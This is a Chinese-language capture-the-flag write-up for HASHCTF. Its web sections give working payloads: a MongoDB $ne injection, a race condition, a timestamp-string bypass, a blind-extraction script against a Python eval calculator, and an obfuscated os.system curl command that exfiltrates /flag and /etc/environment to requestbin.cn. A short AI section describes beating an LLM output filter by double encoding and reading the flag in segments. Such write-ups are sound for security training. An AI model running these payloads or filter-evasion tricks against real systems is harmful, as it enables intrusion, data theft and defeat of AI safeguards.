HASHCTF WP

webbbbb

这鸡汤不十分滴美味

访问后是一个mc主题的交易界面,审计给出的app.js和route.js可以得到大体获得flag的思路

flag在最后一个价值为88绿宝石的商品的回显上

首先获取足够的绿宝石来兑换商品,这里只提供了劫掠码这一种方法,同时还设置了一天只能兑换一次的限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
router.get('/raid', isAuth, async (req, res) => {
try {
const user = await User.findById(req.user.userId);

if (!user) {
return res.render('error', { Authenticated: true, message: '用户未登录或没有此用户!' });
}

// 处理raidCode
let { raidCode } = req.query;

if (!raidCode) {
return res.json({ success: false, message: '需要劫掠码!' });
}

const gain = await RaidCodes.findOne({raidCode})

if (!gain) {
return res.json({ success: false, message: '劫掠码不存在!难道你忘了带上你的铁锤吗?' });
}

// 检测今天是否已经兑换
const today = new Date();
const lastRedemption = user.lastVoucherRedemption;

if (lastRedemption) {
const isSameDay = lastRedemption.getFullYear() === today.getFullYear() &&
lastRedemption.getMonth() === today.getMonth() &&
lastRedemption.getDate() === today.getDate();
if (isSameDay) {
return res.json({ success: false, message: '今天已经洗劫过了,绿宝石早被你扫光啦!' });
}
}

// 更新绿宝石余额
const { Balance } = await User.findById(req.user.userId).select('Balance');
user.Balance = Balance + gain.value;
new Promise(resolve => setTimeout(resolve, delay * 1000));
user.lastVoucherRedemption = today;
await user.save();

return res.json({
success: true,
message: '兑换成功!新的绿宝石余额:' + user.Balance
});

} catch (error) {
console.error('Error during raid:', error);
return res.render('error', { Authenticated: true, message: '出错了'});
}
});

注意到new Promise(resolve => setTimeout(resolve, delay * 1000));这里会有一个2秒的延时,很明显是给我们类似于条件竞争的机会,这里通过并发多条兑换请求来一次性获取足够的绿宝石

然后就是劫掠码的获取了,注意到劫掠码储存在MongoDB中,利用MongoDB重言式注入构造永真式获取绿宝石

raid?raidCode[$ne]=invalid_code
原理:{ raidCode: { $ne: “invalid_code” } } 会匹配所有 raidCode 不为 invalid_code 的文档,返回第一个有效劫掠码。

9454069183a2c00c441e379b24abf379.png

最后因为是预售,需要在2025-04-21T10:00:00+08:00之后才能兑换,同时还有一个订购日期<2025-04-20T21:00:00+08:00的限制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
router.post('/store', isAuth, async (req, res, next) => {
const productId = req.body.productId;
const orderAt = req.body.orderAt;
const maxOrderDate = '2025-04-20T21:00:00+08:00';

if (!productId) {
return next({ message: '参数缺失:productId' });
}

try {
const all = await Product.find()
product = null
for(let p of all) {
if(p.productId === productId){
product = p
}
}

if (!product) {
return next({ message: '商品不存在' });
}

let productCost = parseCost(product.Cost);

const user = await User.findById(req.user.userId);

if (!user) {
return next({ message: '用户不存在' });
}

// 订购日期有效判断
let releaseDate = DateTime.fromJSDate(product.ReleaseDate);

let orderDate = DateTime.fromISO(orderAt);

if (!orderDate.isValid) {
return res.json({ success: false, message: '订购日期无效' });
}

if (orderAt > maxOrderDate) {
return res.json({ success: false, message: `订购日期太远了,只能订购${maxOrderDate}之前的商品` });
}

if (orderDate < releaseDate) {
return res.json({ success: false, message: `商品未开售,你可以在${releaseDate.setZone('Asia/Shanghai').toISO()}之后订购`, hint: `当前orderAt的值是:${orderDate.setZone('Asia/Shanghai').toISO()}`});
}


// 余额判断
if (user.Balance >= productCost) {
const transactionId = uuidv4();

user.Balance -= productCost;
await user.save();

const userProduct = new UserProducts({
transactionId: transactionId,
user: user._id,
productId: product._id,
});

await userProduct.save();

if (!user.ownedproducts.includes(userProduct._id)) {
user.ownedproducts.push(userProduct._id);
await user.save();
}

const responseData = {
success: true,
message: `购买成功!剩余绿宝石:${user.Balance}`,
product: {
Name: product.Name,
Description: product.Description,
},
};
if (product.productId === 5) {
responseData.product.FLAG = product.FLAG;
}

return res.json(responseData);
} else {
return res.json({success: false, message: '余额不足' });
}
} catch (error) {
console.error('Error during product payment:', error);
return res.json({success: false, message: '购买时出错' });
}
});

注意到两个时间的比较方法并不相同,第一个比较为直接比较字符串,第二个才是转换为时间的比较,这里利用字符串比较为逐位比较的特性,所以使用2025-04-20T20:00:00-24:00进行比较

05b6a684b8f4d99a44c365ef94d95118.png

得到flag

flask_calc

flask框架的计算器网页,一般都是通过eval执行输入的计算式来执行,更高级的可能会根据运算符划分,如TGCTF的熟悉的配方,熟悉的味道,但这里直接就是eval,所以直接尝试命令执行即可,有一定的过滤,同时回显只能是整数,这让我立刻想到了布尔盲注,尝试绕过过滤编写脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import string
import base64


sql=string.ascii_lowercase+string.ascii_uppercase+string.digits+'-'+"{}"
url="http://10.102.32.141:35549/calculate"
flag=''
for i in range(0,100):
for j in sql:
data={"expression":"list(open('/flag'))[0]["+str(i)+"]=='"+j+"'"}
# print(data)
html=requests.post(url=url,json=data)
# print(html.text)
if ":1" in html.text:
flag+=j
print(flag)

这里read被过滤,所以使用list分别逐位比较,得到flag

flask_calc_revenge

给了源码,同时加上了过滤和加密操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
from flask import Flask, jsonify, request,render_template
import os
import base64

app = Flask(__name__)

def update_shell_config(env_key, random_value):
system_config = "/etc/environment"

if os.getuid() != 0:
return

encoded_value = base64.b64encode(random_value).decode()

with open(system_config, "r") as f:
lines = f.readlines()

new_lines = []
found = False
for line in lines:
stripped_line = line.strip()
if stripped_line.startswith(f"{env_key}="):
new_lines.append(f'{env_key}="{encoded_value}"\n')
found = True
else:
new_lines.append(line)

if not found:
new_lines.append(f'{env_key}="{encoded_value}"\n')

with open(system_config, "w") as f:
f.writelines(new_lines)

os.system(f'export {env_key}="{encoded_value}"')


def update_flag():
with open("/flag", "r") as f:
flag_str = f.read().encode()

def xor_encrypt(data: bytes, key: bytes) -> bytes:
return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])

while True:
try:
key = os.urandom(len(flag_str))
encrypted_flag = xor_encrypt(flag_str, key)

with open("/flag", "w") as f:
f.write(encrypted_flag.hex())

update_shell_config('CALC_KEY',key)
yield True
except:
yield False

flag_guard = update_flag()

@app.route('/',methods=['GET','POST'])
def index():
return render_template('index.html')

@app.route('/calculate',methods=['GET','POST'])
def calculate():
if not next(flag_guard):
exit(-1)
data = request.get_json()
expression = data.get('expression', '')
blacklist = [] #open,flag,os,b64,'+',getattr,ls,\u,;,chr,popen,check_output,system和read都被过滤
for black in blacklist:
if black in expression:
return "Hack!!!"
try:
result = eval(expression)
result = int(result)
return jsonify({"result": result})

except Exception as e:
return jsonify({"Error": "error"}), 400


if __name__ == "__main__":
app.run(debug=False)

注意这里的加密操作是访问一次加密一次,一次一密,要在盲注了,注了半天才注意到

然后就是过滤的更多了,简单fuzz了一下写在代码里面

然后就是想办法绕过了,这里利用字符串字面量隐式拼接进行绕过,同时因为不能再盲注了,改为外带数据,同时注意外带数据也要把加密后的flag和秘钥一次性获得

{"expression":"__import__('o''s').__dict__['s''y''s''t''e''m']('c''u''rl'' ''ht''tp://requestbin.cn:80/1glvj5r1''?f=$(ca''t'' ''/etc/e''nvironment)$(ca''t'' ''/fl''ag)')"}
62724e32e39082291626233da1730bf8.png
3246b843105da5a33f5600f0d8d4ee7d.png

获取到加密后的flag和秘钥后编写一个逐字节异或解密的脚本解密即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import base64

def xor_decrypt(encrypted_data: bytes, key: bytes) -> bytes:
return bytes([encrypted_data[i] ^ key[i % len(key)] for i in range(len(encrypted_data))])

# 示例:假设加密后的Flag十六进制和CALC_KEY的Base64值
encrypted_hex = "618d0fe133a43318f9611afb2cceb18ab43a4e54b921b0c63cd6a47e003dade17626d0126a1289a4bb7dd6d1b74a" # 替换为实际的加密后十六进制字符串
encoded_key = "KcxcqXDwdWPIAnvJSf2DuZlcL2XdDITwDuCJH2IOmcwQErEnUyqxkoxFt7TKQA==" # 替换为实际的CALC_KEY值

# 转换为字节
encrypted_bytes = bytes.fromhex(encrypted_hex)
key_bytes = base64.b64decode(encoded_key)

# 解密
decrypted = xor_decrypt(encrypted_bytes, key_bytes)
print("Decrypted Flag:", decrypted.decode())
# Decrypted Flag: HASHCTF{1ca2e323-fa1d-4626-ab34-f4a5988678ae}

获得flag

Proxy Eater

给了源码,大体意思就是先由go语言的第一个端口处理数据,再传给第二个flask端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package main

import (
"bytes"
"encoding/json"
"io"
"os"
"log"
"net/http"
)

type RequestData struct {
Option string `json:"option"`
}

// Handler for home page
func homeHandler(w http.ResponseWriter, r *http.Request) {
html, err := os.ReadFile("templates/index.html")
if err != nil {
http.Error(w, "Failed to load page", http.StatusInternalServerError)
return
}

w.Header().Set("Content-Type", "text/html")
w.Write([]byte(html))
}

// Handler for execute
func executeHandler(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "Invalid request method", http.StatusMethodNotAllowed)
return
}

body, err := io.ReadAll(r.Body)
if err != nil {
http.Error(w, "Failed to read request body", http.StatusBadRequest)
return
}

var requestData RequestData
if err := json.Unmarshal(body, &requestData); err != nil {
http.Error(w, "Invalid JSON", http.StatusBadRequest)
return
}

switch requestData.Option {
case "getgopher":
resp, err := http.Post("http://flask-app:3001/execute", "application/json", bytes.NewBuffer(body))
if err != nil {
log.Printf("Failed to reach Python API: %v", err)
http.Error(w, "Failed to reach Python API", http.StatusInternalServerError)
return
}
defer resp.Body.Close()

responseBody, _ := io.ReadAll(resp.Body)
w.WriteHeader(resp.StatusCode)
w.Write(responseBody)
case "read":
w.Write([]byte("Access denied: You are not an admin."))
case "vuln":
w.Write([]byte("Access denied: You are not an admin."))
default:
http.Error(w, "Invalid option", http.StatusBadRequest)
}
}

func main() {
http.HandleFunc("/", homeHandler)
http.HandleFunc("/execute", executeHandler)
// static folder
http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("static"))))

log.Println("Server running on http://localhost:3000")
log.Fatal(http.ListenAndServe(":3000", nil))
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from flask import Flask, request, jsonify
import random
import os
import uuid

app = Flask(__name__)

GO_HAMSTER_IMAGES = [
{
"name": "boring gopher",
"src": "/static/img/boring_gopher.png"
},
{
"name": "gopher plush",
"src": "/static/img/gopher_plush.jpg"
},
{
"name": "fairy gopher",
"src": "/static/img/fairy_gopher.png"
},
{
"name": "scientist gopher",
"src": "/static/img/scientist_gopher.png"
},
{
"name": "three gopher",
"src": "/static/img/three_gopher.jpg"
},
{
"name": "hyperrealistic gopher",
"src": "/static/img/hyperrealistic_gopher.jpg"
},
{
"name": "flyer gopher",
"src": "/static/img/flyer_gopher.jpg"
}
]

@app.route('/execute', methods=['POST'])
def execute():
if not request.is_json:
return jsonify({"error": "Invalid JSON"}), 400

data = request.get_json()
option = data.get('option')

if not option:
return jsonify({"error": "Parameter 'option' is required"}), 400

if option == 'getgopher':
gopher = random.choice(GO_HAMSTER_IMAGES)
return jsonify(gopher)

elif option == 'read':
filename = data.get('filename')
if not filename:
return jsonify({"error": "Parameter 'filename' is required"}), 400

try:
with open(filename, 'r') as f:
return jsonify({"res": f.read()})
except FileNotFoundError:
return jsonify({"error": "File not found"}), 400
except PermissionError:
return jsonify({"error": "Permisson denied"}), 400
except Exception as e:
return jsonify({"error": "Error"}), 400


elif option == 'vuln':
filename = data.get('filename')
if not filename:
return jsonify({"error": "Parameter 'filename' is required"}), 400

directory = '/tmp/' + uuid.uuid4().hex
flag = os.getenv("FLAG", "HASHCTF{test_flag}")

try:
os.makedirs(directory, exist_ok=True)
with open(os.path.join(directory, filename), 'w') as f:
f.write(flag)
os.system(f"rm {directory}/*")
except Exception as e:
return jsonify({"error": "Error"}), 400

return jsonify({"res": directory})

else:
return jsonify({"error": "Invalid option"}), 400

if __name__ == '__main__':
app.run(host='0.0.0.0', port=3001, debug=True)

注意到go代码的分支判断变量为Option,app.py的分支判断变量为option,所以传入两个变量分别对应两个选择即可

然后就是分析app.py的read和vuln分支了,read就是读文件,这里flag在环境变量里面,读取一下/etc/environment,没有得到flag,很明显就是要利用vuln分支了

vuln分支就是将flag写入一个随机生成的路径并删除,这种很明显是条件竞争,但是问题是路径是随机生成的,并且是先删除再回显路径,所以肯定不能直接条件竞争,这里利用路径穿越,在filename参数中加入../将文件转入tmp目录,这样就可以进行条件竞争了,拿两个BP一个反复进行读,一个反复进行写即可

70aa59e467758a189c21f345dfed4613.png

获得flag

1a8cf78c8b745dbe25136f0b67c72f33.png

AI

HASHChatBot

给了源码,有一个LLM函数进行二次输出检测,所以要进行编码输出,同时简单的base64编码等因为LLM函数的第二条也变得不好用,所以这里进行二次编码的同时分段读取flag

33c3abecd1dd69a512864aef808480dc.png
4b88c382c384e7a24f6b14fbef6b1858.png

然后手动解码拼接,注意,ai可能会出错,同时会输出很多重复数据,要人工甄别,多尝试几次后得到正确的flag

HASHCTF{Y0U_kN0W_how_Ilm_w0Rks_05bdcee434df}

OSINT

signin

图中有极动体育馆,找到旁边有河的即可

db810118adb4a482e8ea94ed16af5c0b.png

HASHCTF{dongshengluxinkaihe}

misc

问卷

我是web苦手o(╥﹏╥)o







[!CAUTION]

喵喵喵~~~~~~·~~~~~~

我是快乐滴满喵喵

[!WARNING]

啵啵啵

我是快乐滴满鱼鱼

[!IMPORTANT]

此文档已被篡改

[!TIP]

社工

[!NOTE]

———————hacker留